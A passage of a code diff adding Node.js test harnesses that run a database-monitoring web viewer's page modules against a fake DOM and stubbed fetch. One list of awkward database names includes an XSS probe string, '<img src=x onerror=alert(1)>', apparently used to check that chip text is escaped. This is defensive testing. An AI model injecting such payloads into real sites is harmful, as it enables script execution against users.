+   /api/read answer and prints, as one line of JSON, what each tab read and whether its collection-caveats panel is
+   drawn: hidden for a payload without `stored_caveats`, a grid of the four columns for a payload with rows.
+       node web-collection-caveats-harness.mjs <path to wwwroot/js> */
+import fs from "node:fs";
+import os from "node:os";
+import path from "node:path";
+import { pathToFileURL } from "node:url";
+
+const jsDir = process.argv[2];
+
+class FakeNode {
+  constructor(tag, text) {
+    this.tag = tag;
+    this.children = [];
+    this.attrs = {};
+    this.dataset = {};
+    this.style = {};
+    this.className = "";
+    this.text = text == null ? null : String(text);
+    this.classList = { add() {}, remove() {}, toggle() {}, contains: () => false };
+  }
+  get firstChild() {
+    return this.children[0] || null;
+  }
+  appendChild(child) {
+    this.children.push(child);
+    return child;
+  }
+  removeChild(child) {
+    const i = this.children.indexOf(child);
+    if (i >= 0) this.children.splice(i, 1);
+    return child;
+  }
+  setAttribute(name, value) {
+    this.attrs[name] = String(value);
+  }
+  getAttribute(name) {
+    return name in this.attrs ? this.attrs[name] : null;
+  }
+  addEventListener() {}
+  set textContent(value) {
+    this.children = [];
+    this.text = String(value);
+  }
+  get textContent() {
+    return (this.text || "") + this.children.map((c) => c.textContent).join("");
+  }
+}
+
+globalThis.Node = FakeNode;
+globalThis.document = {
+  createElement: (tag) => new FakeNode(tag),
+  createElementNS: (ns, tag) => new FakeNode(tag),
+  createTextNode: (text) => new FakeNode("#text", text),
+};
+
+const fetches = [];
+let healthBody = {};
+let healthHangs = false;
+globalThis.fetch = async (url) => {
+  const u = new URL(String(url), "http://viewer.test");
+  fetches.push(u.pathname.replace("/api/read/", "") + "?" + u.searchParams.toString());
+  if (healthHangs && u.pathname.endsWith("/get_collection_health")) return new Promise(() => {});
+  const body = u.pathname.endsWith("/get_collection_health") ? healthBody : {};
+  return { status: 200, ok: true, text: async () => JSON.stringify(body) };
+};
+process.on("unhandledRejection", () => {});
+
+const scratch = fs.mkdtempSync(path.join(os.tmpdir(), "collection-caveats-"));
+try {
+  /* Copy the whole js tree (js/, js/pages/ and every subdirectory) rather than a hand-kept list (#5279): a page module that
+     another PR adds then needs no edit here. Only imported files load, so the rest are inert; every stand-in below is
+     written AFTER the copy, so it still replaces the real file. */
+  fs.cpSync(jsDir, scratch, { recursive: true });
+  fs.writeFileSync(path.join(scratch, "package.json"), '{ "type": "module" }');
+  fs.writeFileSync(
+    path.join(scratch, "charts.js"),
+    'import { el } from "./util.js";\nexport const SERIES_COLORS = [];\nexport const CATEGORICAL_COLORS = [];\nexport function normalizeColor(c) { return c; }\n' +
+      'export function renderLineChart() { return el("div", {}); }\nexport function zoomableLineChart() { return el("div", {}); }\nexport function chartZoomScope() { return ""; }\n'
+  );
+  const tabs = await import(pathToFileURL(path.join(scratch, "pages", "server-tabs.js")).href);
+  const TITLE = "Analysis could not read these data families";
+  const find = (node, pred) => (pred(node) ? node : node.children.map((c) => find(c, pred)).find(Boolean) || null);
+  const collect = (node, tag, out = []) => {
+    if (node.tag === tag) out.push(node);
+    node.children.forEach((c) => collect(c, tag, out));
+    return out;
+  };
+
+  const run = async (registry, id, body, server = "srv-a", hangs = false) => {
+    healthBody = body;
+    healthHangs = hangs;
+    fetches.length = 0;
+    const tab = registry.find((t) => t.id === id);
+    const panels = tab.build(server, { hours: 24, label: "24h" }).flat();
+    await new Promise((r) => setTimeout(r, 50));
+    const panel = panels.find((p) => p && p.tag && find(p, (n) => n.tag === "h3" && n.textContent.startsWith(TITLE)));
+    const rows = panel ? collect(panel, "tr").slice(1).map((tr) => collect(tr, "td").map((td) => td.textContent)) : [];
+    const heads = panel ? collect(panel, "th").map((th) => th.textContent) : [];
+    return {
+      present: !!panel,
+      hidden: !!panel && panel.style.display === "none",
+      heads,
+      rows,
+      healthReads: fetches.filter((f) => f.startsWith("get_collection_health?")),
+      anyCaveatTool: fetches.some((f) => f.includes("caveat")),
+    };
+  };
+
+  const none = { collectors: [], sweep_pressure: {} };
+  const some = {
+    ...none,
+    stored_caveats: [
+      { family: "plans", reason: "timeout", first_seen_utc: "2026-01-01T00:00:00.0000000Z", last_seen_utc: "2026-01-02T00:00:00.0000000Z" },
+      { family: "waits", reason: "missing_schema", first_seen_utc: "2026-01-01T00:00:00.0000000Z", last_seen_utc: "2026-01-02T00:00:00.0000000Z" },
+    ],
+  };
+  const out = {};
+  for (const [name, registry, id] of [["sqlserver", tabs.SERVER_TABS, "health"], ["postgres", tabs.POSTGRES_TABS, "overview"]]) {
+    out[name] = {
+      empty: await run(registry, id, none),
+      rows: await run(registry, id, some),
+      // A read that never answers: a server never seen before must not show the card or its loading strip.
+      pending: await run(registry, id, none, "srv-pending", true),
+      // A rebuild (the 60 s poll) of a server whose last answer had rows keeps the card up while the read runs.
+      rebuild: await (async () => {
+        await run(registry, id, some, "srv-rebuild");
+        return run(registry, id, some, "srv-rebuild", true);
+      })(),
+    };
+  }
+  console.log(JSON.stringify(out));
+} finally {
+  fs.rmSync(scratch, { recursive: true, force: true });
+}
diff --git a/Darling/Darling.Tests/web-collector-run-history-harness.mjs b/Darling/Darling.Tests/web-collector-run-history-harness.mjs
new file mode 100644
index 0000000000..6d8b5c479c
--- /dev/null
+++ b/Darling/Darling.Tests/web-collector-run-history-harness.mjs
@@ -0,0 +1,162 @@
+/* Runs the shipped SQL Server Collection Health tab (wwwroot/js/pages/server-tabs.js) against a scripted /api/read
+   answer (#5227): clicking a collector row re-requests get_collection_log for that collector over 168 hours, the pick
+   survives a rebuild of the tab, and the chip clears it. Prints one line of JSON.
+       node web-collector-run-history-harness.mjs <path to wwwroot/js> */
+import fs from "node:fs";
+import os from "node:os";
+import path from "node:path";
+import { pathToFileURL } from "node:url";
+
+const jsDir = process.argv[2];
+
+class FakeNode {
+  constructor(tag, text) {
+    this.tag = tag;
+    this.children = [];
+    this.attrs = {};
+    this.dataset = {};
+    this.handlers = {};
+    this.style = {};
+    this.className = "";
+    this.text = text == null ? null : String(text);
+    this.classList = { add() {}, remove() {}, toggle() {}, contains: () => false };
+  }
+  get firstChild() {
+    return this.children[0] || null;
+  }
+  contains(n) {
+    return n === this || this.children.some((c) => c.contains(n));
+  }
+  appendChild(child) {
+    this.children.push(child);
+    return child;
+  }
+  removeChild(child) {
+    const i = this.children.indexOf(child);
+    if (i >= 0) this.children.splice(i, 1);
+    return child;
+  }
+  setAttribute(name, value) {
+    this.attrs[name] = String(value);
+  }
+  getAttribute(name) {
+    return name in this.attrs ? this.attrs[name] : null;
+  }
+  addEventListener(t, fn) {
+    (this.handlers[t] = this.handlers[t] || []).push(fn);
+  }
+  set textContent(value) {
+    this.children = [];
+    this.text = String(value);
+  }
+  get textContent() {
+    return (this.text || "") + this.children.map((c) => c.textContent).join("");
+  }
+}
+
+globalThis.Node = FakeNode;
+globalThis.document = {
+  createElement: (tag) => new FakeNode(tag),
+  createElementNS: (ns, tag) => new FakeNode(tag),
+  createTextNode: (text) => new FakeNode("#text", text),
+};
+
+const fetches = [];
+const healthBody = { collectors: [{ collector: "wait_stats", status: "HEALTHY", total_runs: 5 }, { collector: "query_store", status: "HEALTHY", total_runs: 7 }], sweep_pressure: {} };
+const healthHangs = false;
+const logSignals = [];
+/* While true a Collection Log read stays in flight until its signal aborts it (then it rejects with an AbortError, as a real
+   fetch does). A read that finished by itself can no longer be aborted, so only an in-flight read shows that a newer pick
+   cancels the older one (the shared in-flight reads of util.js cancel the request when the last waiter is gone). */
+let holdLogReads = false;
+globalThis.fetch = async (url, opts) => {
+  const u = new URL(String(url), "http://viewer.test");
+  fetches.push(u.pathname.replace("/api/read/", "") + "?" + u.searchParams.toString());
+  if (u.pathname.endsWith("/get_collection_log") && opts && opts.signal) logSignals.push({ collector: u.searchParams.get("collector_name"), signal: opts.signal });
+  if (holdLogReads && u.pathname.endsWith("/get_collection_log") && opts && opts.signal) {
+    return new Promise((_, reject) => opts.signal.addEventListener("abort", () => reject(Object.assign(new Error("The operation was aborted."), { name: "AbortError" })), { once: true }));
+  }
+  if (healthHangs && u.pathname.endsWith("/get_collection_health")) return new Promise(() => {});
+  const body = u.pathname.endsWith("/get_collection_health") ? healthBody : {};
+  return { status: 200, ok: true, text: async () => JSON.stringify(body) };
+};
+process.on("unhandledRejection", () => {});
+
+const scratch = fs.mkdtempSync(path.join(os.tmpdir(), "collector-run-history-"));
+try {
+  /* Copy the whole js tree (js/, js/pages/ and every subdirectory) rather than a hand-kept list (#5279): a page module that
+     another PR adds then needs no edit here. Only imported files load, so the rest are inert; charts.js is replaced by the
+     stub below, which is written AFTER the copy. */
+  fs.cpSync(jsDir, scratch, { recursive: true });
+  fs.writeFileSync(path.join(scratch, "package.json"), '{ "type": "module" }');
+  fs.writeFileSync(
+    path.join(scratch, "charts.js"),
+    'import { el } from "./util.js";\nexport const SERIES_COLORS = [];\nexport const CATEGORICAL_COLORS = [];\nexport function normalizeColor(c) { return c; }\n' +
+      'export function renderLineChart() { return el("div", {}); }\nexport function zoomableLineChart() { return el("div", {}); }\nexport function chartZoomScope() { return ""; }\n'
+  );
+  const tabs = await import(pathToFileURL(path.join(scratch, "pages", "server-tabs.js")).href);
+  const collect = (node, pred, out = []) => {
+    if (pred(node)) out.push(node);
+    node.children.forEach((c) => collect(c, pred, out));
+    return out;
+  };
+  const settle = () => new Promise((r) => setTimeout(r, 50));
+  const logReads = () => fetches.filter((f) => f.startsWith("get_collection_log?")).map((f) => Object.fromEntries(new URL("http://x/?" + f.split("?")[1]).searchParams));
+  const tab = tabs.SERVER_TABS.find((t) => t.id === "health");
+  const build = async () => {
+    fetches.length = 0;
+    const panels = tab.build("srv-a", { hours: 24, label: "24h" }).flat();
+    await settle();
+    return panels;
+  };
+  const row = (panels, name) => collect({ tag: "root", children: panels }, (n) => n.tag === "tr" && n.textContent.startsWith(name))[0];
+  const chips = (panels) => collect({ tag: "root", children: panels }, (n) => n.tag === "button" && n.textContent.includes("\u00d7"));
+
+  const panels = await build();
+  const before = logReads();
+  const r = row(panels, "query_store");
+  const clickable = !!r && r.style.cursor === "pointer" && !!r.getAttribute("title");
+  fetches.length = 0;
+  for (const h of (r && r.handlers.click) || []) h({});
+  await settle();
+  const afterClick = logReads();
+  const chipAfterClick = chips(panels).map((c) => c.textContent);
+  // a second pick aborts the first read; the new one stays live
+  const other = row(panels, "wait_stats");
+  logSignals.length = 0;
+  holdLogReads = true;
+  globalThis.window = { getSelection: () => ({ isCollapsed: true, toString: () => "" }) };
+  for (const h of (r && r.handlers.click) || []) h({ type: "click" });
+  await settle();
+  for (const h of (other && other.handlers.click) || []) h({ type: "click" });
+  await settle();
+  const pickSignals = logSignals.map((x) => ({ collector: x.collector, aborted: x.signal.aborted }));
+  holdLogReads = false;
+  // a click that ends a text selection inside the row picks nothing
+  logSignals.length = 0;
+  globalThis.window = { getSelection: () => ({ isCollapsed: false, anchorNode: r, toString: () => "query" }) };
+  for (const h of (r && r.handlers.click) || []) h({ type: "click" });
+  await settle();
+  const selectionReads = logSignals.length;
+  // Enter on a focused row picks it (the keydown path of makeActivatable)
+  globalThis.window = { getSelection: () => ({ isCollapsed: true, toString: () => "" }) };
+  let prevented = false;
+  for (const h of (r && r.handlers.keydown) || []) h({ key: "Enter", preventDefault: () => { prevented = true; } });
+  await settle();
+  const enterPick = logSignals.map((x) => x.collector);
+  const rowRole = r ? [r.getAttribute("role"), r.getAttribute("tabindex")] : [];
+  const chipStyle = chips(panels).map((c) => [c.style.gridColumn, c.style.justifySelf, c.className]);
+  // a rebuild (the 60 s poll) keeps the pick
+  const rebuilt = await build();
+  const afterRebuild = logReads();
+  // the chip clears it
+  const rebuildChips = chips(rebuilt).length;
+  const chip = chips(rebuilt)[0];
+  fetches.length = 0;
+  for (const h of (chip && chip.handlers.click) || []) h({});
+  await settle();
+  const afterClear = logReads();
+  console.log(JSON.stringify({ before, clickable, afterClick, chipAfterClick, afterRebuild, rebuildChips, afterClear, pickSignals, selectionReads, enterPick, prevented, rowRole, chipStyle }));
+} finally {
+  fs.rmSync(scratch, { recursive: true, force: true });
+}
diff --git a/Darling/Darling.Tests/web-column-groups-harness.mjs b/Darling/Darling.Tests/web-column-groups-harness.mjs
new file mode 100644
index 0000000000..d9f78f8006
--- /dev/null
+++ b/Darling/Darling.Tests/web-column-groups-harness.mjs
@@ -0,0 +1,124 @@
+/* #4843: runs the shipped table renderer's column groups (wwwroot/js/panels.js) on a small fake DOM
+   and prints what a scenario did as one line of JSON. ColumnGroupsBehaviourTests starts it as
+       node web-column-groups-harness.mjs <path to the js folder> <scenario> */
+import { pathToFileURL } from "node:url";
+
+class FakeNode {
+  constructor(tag) { this.style = {}; this.classList = { add: (c) => { this.className = (this.className + " " + c).trim(); }, remove: (c) => { this.className = this.className.split(" ").filter((x) => x !== c).join(" "); } }; this.tag = tag; this.children = []; this.attrs = {}; this.listeners = {}; this.parent = null; this._text = ""; this.className = ""; }
+  get parentNode() { return this.parent; }
+  closest(tag) { for (let n = this; n; n = n.parent) if (n.tag === tag) return n; return null; }
+  click() { this.fire("click", { target: this }); }
+  get firstChild() { return this.children[0] || null; }
+  get textContent() { return this._text + this.children.map((c) => c.textContent).join(""); }
+  set textContent(v) { this._text = String(v); this.children = []; }
+  setAttribute(k, v) { this.attrs[k] = String(v); }
+  getAttribute(k) { return this.attrs[k]; }
+  appendChild(c) { if (c.parent) c.parent.children = c.parent.children.filter((x) => x !== c); c.parent = this; this.children.push(c); return c; }
+  removeChild(c) { this.children = this.children.filter((x) => x !== c); c.parent = null; }
+  addEventListener(t, fn) { (this.listeners[t] ||= []).push(fn); }
+  fire(t, e = {}) { for (const fn of this.listeners[t] || []) fn({ preventDefault() {}, ...e }); }
+  find(tag) { for (const c of this.children) { if (c.tag === tag) return c; const f = c.find && c.find(tag); if (f) return f; } return null; }
+}
+class FakeText extends FakeNode { constructor(t) { super("#text"); this._text = t; } }
+globalThis.Node = FakeNode;
+const body = new FakeNode("body");
+let downloads = [];
+globalThis.document = { body, createElement: (t) => new FakeNode(t), createTextNode: (t) => new FakeText(t) };
+const origCreate = URL.createObjectURL;
+URL.createObjectURL = (blob) => { downloads.push({ blob }); return "blob:fake"; };
+URL.revokeObjectURL = () => {};
+const origAppend = body.appendChild.bind(body);
+body.appendChild = (a) => { if (a.tag === "a") a.click = () => { downloads[downloads.length - 1].name = a.download; }; return origAppend(a); };
+const setNav = (v) => Object.defineProperty(globalThis, "navigator", { value: v, configurable: true, writable: true });
+globalThis.location = { hash: "#/server/a/queries" };
+
+const root = process.argv[2];
+const { VIZ } = await import(pathToFileURL(root + "/panels.js").href);
+
+const cols = [
+  { key: "name", label: "Name" },
+  { key: "a", label: "A", format: "int", group: "G1" },
+  { key: "b", label: "B", format: "int", group: "G2" },
+  { key: "c", label: "C", format: "int", group: "G2" },
+];
+const rows = [{ name: "x", a: 3, b: 30, c: 1 }, { name: "y", a: 1, b: 10, c: 3 }, { name: "z", a: 2, b: 20, c: 2 }];
+const grouped = { groups: ["G1", "G2"], defaultGroups: ["G1"] };
+const build = (desc = {}, data = rows) => VIZ.table({ rows: data }, { rowsKey: "rows", columns: cols, title: "T", ...grouped, ...desc });
+const all = (n, out = []) => { out.push(n); for (const c of n.children) all(c, out); return out; };
+const picker = (w) => all(w).find((n) => n.className === "col-picker");
+const toggle = (w, label) => picker(w).children.find((c) => c.textContent === label);
+const ths = (w) => w.find("table").find("thead").find("tr").children;
+const tbodyOf = (w) => w.find("table").children[1];
+const shownHeads = (w) => ths(w).filter((t) => t.style.display !== "none").map((t) => t.textContent.replace(/[▲▼ ]/g, ""));
+const shownCells = (w, r) => tbodyOf(w).children[r].children.filter((t) => t.style.display !== "none").map((t) => t.textContent);
+const col0 = (w) => tbodyOf(w).children.map((tr) => tr.children[0].textContent);
+const out = {};
+const flush = () => new Promise((r) => setTimeout(r, 0));
+
+const scenarios = {
+  plain() {
+    const w = VIZ.table({ rows }, { rowsKey: "rows", columns: cols.map(({ group, ...c }) => c), title: "P" });
+    out.hasPicker = !!picker(w);
+    out.heads = shownHeads(w);
+    out.top = w.className;
+    out.childClasses = w.children.map((c) => c.className);
+    out.displayStyled = all(w).filter((n) => (n.tag === "th" || n.tag === "td") && n.style.display !== undefined).length;
+    const bare = VIZ.table({ rows }, { rowsKey: "rows", columns: cols.map(({ group, ...c }) => c), title: "P", tools: false });
+    out.bareClass = bare.className;
+    out.bareHasTools = all(bare).some((n) => n.className === "grid-tools");
+    out.bareDisplayStyled = all(bare).filter((n) => (n.tag === "th" || n.tag === "td") && n.style.display !== undefined).length;
+  },
+  defaults() {
+    const w = build();
+    out.labels = picker(w).children.map((c) => c.textContent);
+    out.heads = shownHeads(w);
+    out.cells = shownCells(w, 0);
+    out.pressed = ["G1", "G2"].map((g) => toggle(w, g).getAttribute("aria-pressed"));
+  },
+  toggling() {
+    const w = build();
+    toggle(w, "G2").click();
+    out.on = shownHeads(w);
+    out.onCells = shownCells(w, 0);
+    toggle(w, "G1").click();
+    out.g1Off = shownHeads(w);
+    toggle(w, "G2").click();
+    out.allOff = shownHeads(w);
+  },
+  repaint() {
+    globalThis.location = { hash: "#/server/a/tab" };
+    toggle(build(), "G2").click();
+    out.rebuilt = shownHeads(build());
+    globalThis.location = { hash: "#/server/b/tab" };
+    out.otherServer = shownHeads(build());
+    globalThis.location = { hash: "#/server/a/tab" };
+    out.backToA = shownHeads(build());
+  },
+  sortHidden() {
+    globalThis.location = { hash: "#/server/s/tab" };
+    // A ascending (y, x, z) differs from B ascending (y, z, x), so the final check can tell a sort from no sort.
+    const data = [{ name: "x", a: 2, b: 30, c: 1 }, { name: "y", a: 1, b: 10, c: 3 }, { name: "z", a: 3, b: 20, c: 2 }];
+    const w = build({}, data);
+    toggle(w, "G2").click();
+    ths(w)[2].fire("click"); // B ascending: 10, 20, 30
+    out.asc = col0(w);
+    toggle(w, "G2").click(); // B hidden; the order must hold and nothing throws
+    out.hiddenAsc = col0(w);
+    const w2 = build({}, data); // the repaint with B hidden re-applies the sort
+    out.repaintAsc = col0(w2);
+    out.heads = shownHeads(w2);
+    ths(w2)[1].fire("click"); // sort a visible column afterwards
+    out.byA = col0(w2);
+  },
+  async exportAll() {
+    const texts = [];
+    Object.defineProperty(globalThis, "navigator", { value: { clipboard: { writeText: async (t) => { texts.push(t); } } }, configurable: true, writable: true });
+    const w = build();
+    const strip = w.children.find((c) => c.className === "grid-tools");
+    strip.children.find((c) => c.textContent === "Copy all").click(); await flush();
+    out.copy = texts[0];
+    out.stripOrder = w.children.map((c) => c.className);
+  },
+};
+await scenarios[process.argv[3]]();
+console.log(JSON.stringify(out));
diff --git a/Darling/Darling.Tests/web-compose-notice-harness.mjs b/Darling/Darling.Tests/web-compose-notice-harness.mjs
new file mode 100644
index 0000000000..339cf6138d
--- /dev/null
+++ b/Darling/Darling.Tests/web-compose-notice-harness.mjs
@@ -0,0 +1,127 @@
+/* Runs the web viewer's composed-panel body (wwwroot/js/compose.js and util.js) against a scripted
+   /api/compose/run answer and prints the strips it drew as one line of JSON. ComposeDataFloorLiveTests starts it as
+       node web-compose-notice-harness.mjs <path to wwwroot/js> <path to a scenario JSON file>
+   The scenario file holds {panel, scope, answer}: the panel spec and scope the page would send, and the body the run
+   endpoint returned for them. The modules are copied into a scratch folder beside stand-ins for charts.js (the SVG
+   renderer, which needs a real browser), panels.js and views-api.js (reached only by clicks and annotation names),
+   then imported. `fetch` and the DOM are stand-ins: a node tree of plain objects, and a fetch that answers the run
+   with the scenario's body. Everything else is the shipped code. */
+import fs from "node:fs";
+import os from "node:os";
+import path from "node:path";
+import { pathToFileURL } from "node:url";
+
+const [jsDir, scenarioPath] = process.argv.slice(-2);
+const scenario = JSON.parse(fs.readFileSync(scenarioPath, "utf8"));
+
+class FakeNode {
+  constructor(tag, text) {
+    this.tag = tag;
+    this.children = [];
+    this.attrs = {};
+    this.dataset = {};
+    this.style = {};
+    this.className = "";
+    this.text = text == null ? null : String(text);
+    this.classList = { add() {}, remove() {}, toggle() {}, contains: () => false };
+  }
+  get firstChild() {
+    return this.children[0] || null;
+  }
+  appendChild(child) {
+    this.children.push(child);
+    return child;
+  }
+  removeChild(child) {
+    const i = this.children.indexOf(child);
+    if (i >= 0) this.children.splice(i, 1);
+    return child;
+  }
+  setAttribute(name, value) {
+    this.attrs[name] = String(value);
+  }
+  getAttribute(name) {
+    return name in this.attrs ? this.attrs[name] : null;
+  }
+  addEventListener() {}
+  set textContent(value) {
+    this.children = [];
+    this.text = String(value);
+  }
+  get textContent() {
+    return (this.text || "") + this.children.map((c) => c.textContent).join("");
+  }
+}
+
+globalThis.Node = FakeNode;
+globalThis.document = {
+  createElement: (tag) => new FakeNode(tag),
+  createElementNS: (ns, tag) => new FakeNode(tag),
+  createTextNode: (text) => new FakeNode("#text", text),
+};
+
+const fetches = [];
+globalThis.fetch = async (url, init) => {
+  fetches.push((init && init.method ? init.method : "GET") + " " + String(url));
+  const isRun = String(url) === "/api/compose/run";
+  const raw = JSON.stringify(isRun ? scenario.answer : {});
+  return { status: 200, ok: true, text: async () => raw };
+};
+
+const rejections = [];
+process.on("unhandledRejection", (e) => rejections.push(String(e && e.stack ? e.stack : e)));
+
+const scratch = fs.mkdtempSync(path.join(os.tmpdir(), "compose-notice-"));
+let compose;
+try {
+  /* Copy the whole js tree (js/, js/pages/ and every subdirectory) rather than a hand-kept list (#5279): a page module that
+     another PR adds then needs no edit here. Only imported files load, so the rest are inert; every stand-in below is
+     written AFTER the copy, so it still replaces the real file. */
+  fs.cpSync(jsDir, scratch, { recursive: true });
+  fs.writeFileSync(path.join(scratch, "package.json"), '{ "type": "module" }');
+  fs.writeFileSync(
+    path.join(scratch, "charts.js"),
+    'import { el } from "./util.js";\n' +
+      "export const CATEGORICAL_COLORS = ['#111', '#222', '#333', '#444', '#555', '#666'];\n" +
+      "const stub = () => el('div', { class: 'chart-stub' });\n" +
+      "export const renderLineChart = stub;\n" +
+      "export const zoomChip = stub;\n" +
+      "export const renderBarChart = stub;\n" +
+      "export const renderPieChart = stub;\n" +
+      "export const renderScatterChart = stub;\n" +
+      /* The legend-isolate state compose.js reads and writes (#5247). The notice tests never click a legend, so nothing is hidden. */
+      "export const getChartHidden = () => [];\n" +
+      "export const setChartHidden = () => {};\n" +
+      "export const nextHiddenKeys = () => [];\n" +
+      "export const chartZoomScope = (hours) => '|' + String(hours);\n"
+  );
+  fs.writeFileSync(path.join(scratch, "panels.js"), "export function navigateServer() {}\nexport function gridTable() { return document.createElement(\"div\"); }\n");
+  fs.writeFileSync(path.join(scratch, "views-api.js"), "export async function getCatalog() { return { compose: {} }; }\n");
+  const load = (rel) => import(pathToFileURL(path.join(scratch, rel)).href);
+  compose = await load("compose.js");
+} finally {
+  fs.rmSync(scratch, { recursive: true, force: true });
+}
+
+const root = new FakeNode("main");
+await compose.renderComposedInto(root, scenario.panel, scenario.scope);
+// Let the run and the mount settle (each is a few promise hops).
+for (let i = 0; i < 50; i++) await new Promise((r) => setTimeout(r, 0));
+
+const strips = (kind) => {
+  const found = [];
+  const walk = (n) => {
+    if (!n || typeof n !== "object") return;
+    if (n.className === "strip " + kind) found.push(n.textContent);
+    n.children.forEach(walk);
+  };
+  walk(root);
+  return found;
+};
+
+console.log(JSON.stringify({
+  fetches,
+  notices: strips("notice"),
+  errors: strips("error"),
+  rejections,
+}));
diff --git a/Darling/Darling.Tests/web-database-filter-chips-harness.mjs b/Darling/Darling.Tests/web-database-filter-chips-harness.mjs
new file mode 100644
index 0000000000..989126e19c
--- /dev/null
+++ b/Darling/Darling.Tests/web-database-filter-chips-harness.mjs
@@ -0,0 +1,288 @@
+/* Runs the database-scope chips on the web viewer's panels (#5244, #5245): wwwroot/js/panels.js (renderPanel),
+   pages/server-tabs.js (panelShell, fanout and the table/stat/line helpers) and util.js (dbScopeChip), with a stand-in DOM and
+   a stub fetch, and prints what every panel heading drew as one line of JSON. WebDatabaseFilterChipsBehaviourTests starts it as
+       node web-database-filter-chips-harness.mjs <path to wwwroot/js> <scenario>
+   Every SQL Server tab is built (the way the filter harness's census does) and the h3 of every panel is read back: its title,
+   and the database-scope chip in it, if any. The whole js tree is copied into a scratch folder first, then the stand-ins are
+   written over it: charts.js (the SVG renderer needs a real browser) and database-filter-reads.js, which wraps the real module
+   and moves a few reads into FILTERED (the shipped list is empty until the pages that wire a read to the filter land). */
+import fs from "node:fs";
+import os from "node:os";
+import path from "node:path";
+import { pathToFileURL } from "node:url";
+
+const jsDir = process.argv[2];
+const scenario = process.argv[3];
+
+class FakeNode {
+  constructor(tag, text) {
+    this.tag = tag;
+    this.children = [];
+    this.attrs = {};
+    this.dataset = {};
+    this.style = {};
+    this.className = "";
+    this.listeners = {};
+    this.text = text == null ? null : String(text);
+    this.classList = { add() {}, remove() {}, toggle() {}, contains: () => false };
+  }
+  get firstChild() {
+    return this.children[0] || null;
+  }
+  appendChild(child) {
+    this.children.push(child);
+    return child;
+  }
+  removeChild(child) {
+    const i = this.children.indexOf(child);
+    if (i >= 0) this.children.splice(i, 1);
+    return child;
+  }
+  setAttribute(name, value) {
+    this.attrs[name] = String(value);
+  }
+  getAttribute(name) {
+    return name in this.attrs ? this.attrs[name] : null;
+  }
+  addEventListener(type, listener) {
+    (this.listeners[type] = this.listeners[type] || []).push(listener);
+  }
+  set textContent(value) {
+    this.children = [];
+    this.text = String(value);
+  }
+  get textContent() {
+    return (this.text || "") + this.children.map((c) => c.textContent).join("");
+  }
+}
+
+globalThis.Node = FakeNode;
+globalThis.document = {
+  createElement: (tag) => new FakeNode(tag),
+  createElementNS: (ns, tag) => new FakeNode(tag),
+  createTextNode: (text) => new FakeNode("#text", text),
+};
+globalThis.location = { hash: "#/server/SRV1" };
+
+/* Every request answers 200 with an empty object: the panels settle as an empty or error strip, which does not matter here, the
+   headings are drawn before any read returns. */
+globalThis.fetch = async () => ({ status: 200, ok: true, text: async () => "{}" });
+
+const rejections = [];
+process.on("unhandledRejection", (e) => rejections.push(String(e && e.stack ? e.stack : e)));
+
+const AWKWARD = ["A,B", "x]", " SalesDb", "O'Brien", "50%+off", "<img src=x onerror=alert(1)>"];
+/* Reads moved into FILTERED for this run, so a mixed tab has all four states: the Queries tab's Top Queries by CPU and the Query
+   Store panels, and the Top Queries panel (a composite built by panelShell). */
+const SEED = ["get_top_queries_by_cpu", "get_active_queries", "get_query_store_top"];
+
+const scratch = fs.mkdtempSync(path.join(os.tmpdir(), "database-filter-chips-"));
+let util;
+let panels;
+let tabs;
+try {
+  /* The whole js tree (js/, js/pages/ and every subdirectory) is copied rather than a hand-kept list (#5279); every stand-in
+     below is written AFTER the copy, so it still replaces the real file. */
+  fs.cpSync(jsDir, scratch, { recursive: true });
+  fs.writeFileSync(path.join(scratch, "package.json"), '{ "type": "module" }');
+  fs.writeFileSync(
+    path.join(scratch, "charts.js"),
+    "export const SERIES_COLORS = ['#111', '#222', '#333', '#444', '#555', '#666'];\n" +
+      "export const CATEGORICAL_COLORS = SERIES_COLORS;\n" +
+      "export function normalizeColor(color) { return color; }\n" +
+      "export function renderLineChart() { return document.createElement('div'); }\n" +
+      "export function zoomableLineChart() { return document.createElement('div'); }\n" +
+      "export function chartZoomScope() { return ''; }\n"
+  );
+  fs.copyFileSync(path.join(scratch, "database-filter-reads.js"), path.join(scratch, "database-filter-reads-real.js"));
+  fs.writeFileSync(
+    path.join(scratch, "database-filter-reads.js"),
+    'import * as real from "./database-filter-reads-real.js";\n' +
+      "const seed = " + JSON.stringify(SEED) + ";\n" +
+      "export const FILTERED = new Set([...real.FILTERED, ...seed]);\n" +
+      "export const UNFILTERED = new Set([...real.UNFILTERED].filter((t) => !FILTERED.has(t)));\n" +
+      "export const IDENTITY = real.IDENTITY;\n" +
+      "export const SERVER_WIDE = real.SERVER_WIDE;\n" +
+      "export function readScope(tool) {\n" +
+      "  return FILTERED.has(tool) ? 'filtered' : UNFILTERED.has(tool) ? 'unfiltered' : IDENTITY.has(tool) ? 'identity' : SERVER_WIDE.has(tool) ? 'server' : null;\n" +
+      "}\n"
+  );
+  const load = (rel) => import(pathToFileURL(path.join(scratch, rel)).href);
+  util = await load("util.js");
+  panels = await load("panels.js");
+  tabs = await load(path.join("pages", "server-tabs.js"));
+} finally {
+  fs.rmSync(scratch, { recursive: true, force: true });
+}
+
+const settle = async () => {
+  for (let i = 0; i < 200; i++) await new Promise((r) => setImmediate(r));
+};
+const walk = (node, visit) => {
+  visit(node);
+  for (const c of node.children) walk(c, visit);
+};
+const countTag = (node, tag) => {
+  let n = 0;
+  walk(node, (x) => {
+    if (x.tag === tag) n++;
+  });
+  return n;
+};
+
+/* What a panel heading drew: its title (the h3's first child, a text node) and the chip in it, or null. */
+const headings = (root) => {
+  const found = [];
+  walk(root, (node) => {
+    if (node.tag !== "h3") return;
+    const chips = node.children.filter((c) => c.dataset && c.dataset.dbScope);
+    found.push({
+      title: node.children[0] ? node.children[0].textContent : "",
+      chips: chips.length,
+      state: chips[0] ? chips[0].dataset.dbScope : null,
+      text: chips[0] ? chips[0].textContent : null,
+      chipTitle: chips[0] ? chips[0].getAttribute("title") : null,
+      className: chips[0] ? chips[0].className : null,
+      chipChildren: chips[0] ? chips[0].children.length : null,
+      sub: (node.children.find((c) => c.className === "panel-sub") || { textContent: null }).textContent,
+    });
+  });
+  return found;
+};
+
+const buildTabs = async (names) => {
+  globalThis.location.hash = "#/server/SRV1";
+  util.setActiveDatabaseFilter(names === null ? null : { server: "SRV1", databases: names });
+  const out = {};
+  let imgs = 0;
+  for (const tab of tabs.SERVER_TABS) {
+    const holder = new FakeNode("div");
+    util.mount(holder, tab.build("SRV1", { hours: 24, label: "last 24 hours" }));
+    await settle();
+    out[tab.id] = headings(holder);
+    imgs += countTag(holder, "img");
+  }
+  return { tabs: out, imgs };
+};
+
